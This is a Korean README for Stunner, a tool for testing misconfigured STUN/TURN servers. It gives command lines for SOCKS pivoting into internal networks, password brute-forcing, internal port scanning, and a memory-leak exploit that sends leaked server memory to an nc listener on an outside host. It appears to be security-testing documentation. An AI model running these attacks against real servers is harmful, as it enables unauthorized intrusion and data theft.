
STUN/TURN 서버의 잘못된 구성을 테스트하고 악용하여, SOCKS 프록시를 통한 내부 네트워크 피벗, 메모리 누수 공격 및 내부 포트 스캐닝을 가능하게 합니다.
Stunner는 STUN, TURN 및 TCP 기반 TURN 서버를 테스트하고 공격하는 도구입니다. TURN은 주로 화상 회의 및 오디오 채팅(WebRTC)에서 사용되는 프로토콜입니다.
잘못 구성된 서버를 발견하면 이 도구를 사용하여 TURN 프로토콜을 통해 서버 뒤의 내부 네트워크로 모든 트래픽을 릴레이하는 로컬 SOCKS 프록시를 열 수 있습니다.
이 도구는 Cisco Expressway 테스트 중에 개발되었으며, 이로 인해 일부 취약점이 발견되었습니다: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/
필요한 사용자 이름과 비밀번호를 얻으려면 Burp를 사용하여 웹 브라우저의 Connect 요청을 스니핑하는 등 대역 외 방법을 사용해야 합니다. README 하단에 예제 워크플로우를 추가했습니다. 이러한 서버를 테스트하는 방법에 대한 설명입니다.
이 작업은 크리에이티브 커먼즈 저작자표시-비영리-동일조건변경허락 4.0 국제 라이선스에 따라 라이선스가 부여됩니다. 라이선스 사본을 보려면 http://creativecommons.org/licenses/by-nc-sa/4.0/을 방문하거나 크리에이티브 커먼즈, PO Box 1866, Mountain View, CA 94042, USA로 서신을 보내주십시오.
STUN: RFC 5389
TURN: RFC 5766
TCP 기반 TURN: RFC 6062
IPv6용 TURN 확장: RFC 6156
이 명령어는 STUN 또는 TURN 서버에 대한 지원되는 프로토콜 및 사용된 소프트웨어와 같은 속성에 대한 정보를 출력합니다.
--debug, -d 디버그 출력 활성화 (기본값: false)
--turnserver value, -s value 연결할 TURN 서버 (host:port 형식)
--tls STUN 또는 TURN 서버 연결 시 TLS/DTLS 사용 (기본값: false)
--timeout value TURN 서버 연결 시간 초과 (기본값: 1s)
--help, -h 도움말 표시 (기본값: false)
./stunner info -s x.x.x.x:443
이 명령어는 여러 개인 및 제한된 범위를 시도하여 TURN 서버가 지정된 IP 주소로의 연결을 허용하도록 구성되었는지 확인합니다. 특정 범위가 금지되지 않은 경우 다른 제공된 명령어를 사용하여 이 범위를 더 열거할 수 있습니다. IP에 도달 가능하면 TURN 서버가 이 IP로 트래픽을 전달한다는 의미입니다.
--debug, -d 디버그 출력 활성화 (기본값: false)
--turnserver value, -s value 연결할 TURN 서버 (host:port 형식)
--tls STUN 또는 TURN 서버 연결 시 TLS/DTLS 사용 (기본값: false)
--protocol value TURN 서버 연결 시 사용할 프로토콜. 지원되는 값: tcp 및 udp (기본값: "udp")
--timeout value TURN 서버 연결 시간 초과 (기본값: 1s)
--username value, -u value TURN 서버 사용자 이름
--password value, -p value TURN 서버 비밀번호
--help, -h 도움말 표시 (기본값: false)
TCP 기반 TURN 연결 (사용자에서 TURN 서버로의 연결):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp
UDP 기반 TURN 연결 (사용자에서 TURN 서버로의 연결):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp
이 명령어는 TCP 연결을 지원하는 TURN 서버에 가장 유용한 명령어 중 하나입니다. 인증 없이 로컬 SOCKS5 서버를 시작하고 모든 TCP 트래픽을 TURN 프로토콜을 통해 릴레이합니다 (SOCKS를 통한 UDP는 현재 지원되지 않음). 서버가 잘못 구성된 경우 내부 주소로 트래픽을 전달하므로 이를 사용하여 내부 시스템에 도달하고 서버를 내부 네트워크로의 프록시로 악용할 수 있습니다. SOCKS를 통해 DNS 조회를 수행하도록 선택하면 로컬 네임서버를 사용하여 확인되므로 개인 IPv4 및 IPv6 주소로 작업하는 것이 가장 좋습니다. 이 모듈은 TCP 트래픽만 릴레이할 수 있습니다.
--debug, -d 디버그 출력 활성화 (기본값: false)
--turnserver value, -s value 연결할 TURN 서버 (host:port 형식)
--tls STUN 또는 TURN 서버 연결 시 TLS/DTLS 사용 (기본값: false)
--protocol value TURN 서버 연결 시 사용할 프로토콜. 지원되는 값: tcp 및 udp (기본값: "udp")
--timeout value TURN 서버 연결 시간 초과 (기본값: 1s)
--username value, -u value TURN 서버 사용자 이름
--password value, -p value TURN 서버 비밀번호
--listen value, -l value 수신 대기할 주소 및 포트 (기본값: "127.0.0.1:1080")
--drop-public, -x 공용 IP로의 요청 차단. 대상이 인터넷에 연결할 수 없고 브라우저가 연결을 통해 TLS 인증서를 확인하려는 경우 유용함. (기본값: true)
--help, -h 도움말 표시 (기본값: false)
./stunner socks -s x.x.x.x:3478 -u username -p password -x
프록시를 시작한 후 브라우저를 열고 설정에서 프록시를 IP 127.0.0.1:1080의 SOCKS5로 지정합니다 (로컬 주소 우회 옵션을 설정하지 않도록 주의하세요. 원격 로컬 주소에 도달해야 하므로). 그런 다음 브라우저에서 원하는 IP를 호출합니다.
예: https://127.0.0.1, https://127.0.0.1:8443 또는 https://[::1]:8443 (이들은 테스트 중인 TURN 서버의 로컬 인터페이스에서 포트를 호출합니다).
proxychains를 이 프록시를 사용하도록 구성할 수도 있지만 (각 요청이 프록시 활성화를 위해 여러 요청을 발생시키므로 매우 느려짐). /etc/proxychains.conf를 편집하고 ProxyList 아래에 socks5 127.0.0.1 1080 값을 입력하기만 하면 됩니다.
올바르게 구성된 proxychains를 사용한 nmap 예제 (SYN 대신 TCP 연결을 사용하므로 -sT 플래그 사용에 유의하세요. 그렇지 않으면 SOCKS5 프록시를 사용하지 않음):
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1
이 명령어는 유용한 정보를 제공하지 않을 가능성이 높지만, 서버에서 지원하는 모든 사용 가능한 전송 프로토콜(=내부 시스템으로의 프로토콜)을 열거하는 데 유용할 수 있습니다. 일부 사용자 지정 프로토콜 구현을 보여줄 수 있지만 대부분은 기본값만 반환합니다.
--debug, -d 디버그 출력 활성화 (기본값: false)
--turnserver value, -s value 연결할 TURN 서버 (host:port 형식)
--tls STUN 또는 TURN 서버 연결 시 TLS/DTLS 사용 (기본값: false)
--protocol value TURN 서버 연결 시 사용할 프로토콜. 지원되는 값: tcp 및 udp (기본값: "udp")
--timeout value TURN 서버 연결 시간 초과 (기본값: 1s)
--username value, -u value TURN 서버 사용자 이름
--password value, -p value TURN 서버 비밀번호
--help, -h 도움말 표시 (기본값: false)
./stunner brute-transports -s x.x.x.x:3478 -u username -p password
이 명령어는 TURN 프로토콜(UDP)을 통해 사용자 이름에 대해 주어진 파일의 모든 비밀번호를 시도합니다. pcap을 분석할 때 사용자 이름은 볼 수 있지만 비밀번호는 볼 수 없는 경우 유용할 수 있습니다. 이 경우 오프라인 무차별 대입이 훨씬 더 빠릅니다.
--debug, -d 디버그 출력 활성화 (기본값: false)
--turnserver value, -s value 연결할 TURN 서버 (host:port 형식)
--tls STUN 또는 TURN 서버 연결 시 TLS/DTLS 사용 (기본값: false)
--protocol value TURN 서버 연결 시 사용할 프로토콜. 지원되는 값: tcp 및 udp (기본값: "udp")
--timeout value TURN 서버 연결 시간 초과 (기본값: 1s)
--username value, -u value TURN 서버 사용자 이름
--passfile value, -p value 무차별 대입에 사용할 비밀번호 파일
--help, -h 도움말 표시 (기본값: false)
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt
이 공격은 다음과 같이 작동합니다.
서버는 target(대부분의 경우 높은 포트 > 1024여야 함)으로 보낼 데이터를 TLV(Type Length Value) 형식으로 가져옵니다. 이 익스플로잇은 큰 길이와 짧은 값을 사용합니다. 서버가 TLV의 경계를 확인하지 않으면 length까지의 메모리를 target으로 보낼 수 있습니다. Cisco Expressway는 이 취약점에 취약한 것으로 확인되었지만 Cisco에 따르면 현재 세션의 메모리만 누수됩니다.
--debug, -d 디버그 출력 활성화 (기본값: false)
--turnserver value, -s value 연결할 TURN 서버 (host:port 형식)
--tls STUN 또는 TURN 서버 연결 시 TLS/DTLS 사용 (기본값: false)
--protocol value TURN 서버 연결 시 사용할 프로토콜. 지원되는 값: tcp 및 udp (기본값: "udp")
--timeout value TURN 서버 연결 시간 초과 (기본값: 1s)
--username value, -u value TURN 서버 사용자 이름
--password value, -p value TURN 서버 비밀번호
--target value, -t value 메모리를 누출할 대상 (host:port 형식). 사용자가 제어하는 공용 서버여야 함
--size value 누출할 버퍼의 크기 (기본값: 35510)
--help, -h 도움말 표시 (기본값: false)
데이터를 수신하려면 공용 IP가 있는 서버에서 수신기를 설정해야 합니다. 일반적으로 방화벽은 TURN 서버에서 높은 포트(>1024)만 허용하도록 구성되어 있으므로 인터넷에 연결할 때 이 예제에서는 8080과 같은 높은 포트를 사용해야 합니다.
sudo nc -u -l -n -v -p 8080 | hexdump -C
그런 다음 로컬 시스템에서 다음 명령문을 실행하고 t 매개변수에 공용 IP를 추가합니다.
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password
작동하면 대량의 메모리가 들어오는 것을 볼 수 있으며, 그렇지 않으면 짧은 메시지만 표시됩니다.
TURN 서버가 내부 대상으로 UDP 연결을 허용하는 경우 이 스캐너를 사용하여 모든 개인 IP 범위를 스캔하고 SNMP 및 DNS 요청을 보낼 수 있습니다. 많은 IP를 확인하므로 완료하는 데 며칠이 걸릴 수 있으므로 주의해서 사용하거나 매개변수를 통해 더 작은 대상을 지정하십시오. 시도할 SNMP 커뮤니티 문자열과 각 IP에서 확인할 도메인 이름을 제공해야 합니다. 도메인 이름의 경우 예를 들어 Burp Collaborator를 사용할 수 있습니다.
--debug, -d 디버그 출력 활성화 (기본값: false)
--turnserver value, -s value 연결할 TURN 서버 (host:port 형식)
--tls STUN 또는 TURN 서버 연결 시 TLS/DTLS 사용 (기본값: false)
--protocol value TURN 서버 연결 시 사용할 프로토콜. 지원되는 값: tcp 및 udp (기본값: "udp")
--timeout value TURN 서버 연결 시간 초과 (기본값: 1s)
--username value, -u value TURN 서버 사용자 이름
--password value, -p value TURN 서버 비밀번호
--community-string value 스캔에 사용할 SNMP 커뮤니티 문자열 (기본값: "public")
--domain value 스캔 중 내부 DNS 서버에서 확인할 도메인 이름
--ip value 전체 개인 범위 대신 단일 IP 스캔. 비워두면 모든 개인 범위가 스캔됩니다. 단일 IP 또는 CIDR 형식을 허용합니다. (여러 입력 허용)
--help, -h 도움말 표시 (기본값: false)
./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8 --domain domain.you.control.com --community-string public
udp-scanner와 동일하지만 지정된 포트로 HTTP 요청을 보냅니다 (HTTPS는 지원되지 않음).
--debug, -d 디버그 출력 활성화 (기본값: false)
--turnserver value, -s value 연결할 TURN 서버 (host:port 형식)
--tls STUN 또는 TURN 서버 연결 시 TLS/DTLS 사용 (기본값: false)
--protocol value TURN 서버 연결 시 사용할 프로토콜. 지원되는 값: tcp 및 udp (기본값: "udp")
--timeout value TURN 서버 연결 시간 초과 (기본값: 1s)
--username value, -u value TURN 서버 사용자 이름
--password value, -p value TURN 서버 비밀번호
--ports value 확인할 포트 (기본값: "80,443,8080,8081")
--ip value 전체 개인 범위 대신 단일 IP 스캔. 비워두면 모든 개인 범위가 스캔됩니다. 단일 IP 또는 CIDR 형식을 허용합니다. (여러 입력 허용)
--help, -h 도움말 표시 (기본값: false)
./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8
WebRTC를 사용하는 서비스를 발견하고 테스트하려고 한다고 가정해 봅시다.
첫 번째 단계는 필요한 데이터를 얻는 것입니다. 백그라운드에서 Wireshark를 실행하고 Burp를 통해 미팅에 참여하여 모든 HTTP 및 WebSocket 트래픽을 수집하는 것이 좋습니다. 그런 다음 Burp 기록에서 3478, password, credential 및 username과 같은 TURN 관련 키워드를 검색합니다 (WebSocket 탭에서도 이러한 키워드를 확인해야 함). 이를 통해 TURN 서버, 프로토콜(UDP 및 TCP 엔드포인트는 다른 포트를 가질 수 있음) 및 연결에 사용된 자격 증명이 드러날 수 있습니다. Burp에서 데이터를 찾을 수 없으면 Wireshark를 확인하여 트래픽을 식별하기 시작합니다. 비표준 포트(3478 외의 포트)인 경우 Wireshark에서 프로토콜을 마우스 오른쪽 버튼으로 클릭하여 STUN으로 디코딩합니다. 그러면 연결에 사용된 사용자 이름이 표시되고, 이 정보를 사용하여 Burp 기록에서 필요한 데이터를 더 검색할 수 있습니다. Wireshark는 비밀번호를 표시할 수 없습니다. 비밀번호는 일부 패키지 내용을 해시하는 데 사용되므로 역전될 수 없기 때문입니다.
다음 단계는 Burp에서 얻은 올바른 포트와 프로토콜을 사용하여 TURN 서버에 info 명령을 실행하는 것입니다.
이것이 작동하면 다음 단계는 range-scan입니다. 내부 시스템으로의 트래픽을 허용하는 경우 이를 더 악용할 수 있지만 UDP는 제한된 사용 사례만 가지고 있습니다.
내부 시스템으로의 TCP 연결이 허용되는 경우 socks 명령을 실행하고 브라우저를 통해 허용된 IP에 액세스하고 SOCKS 프록시를 127.0.0.1:1080으로 설정합니다. 127.0.0.1:443 및 기타 IP를 시도하여 관리 인터페이스를 찾을 수 있습니다.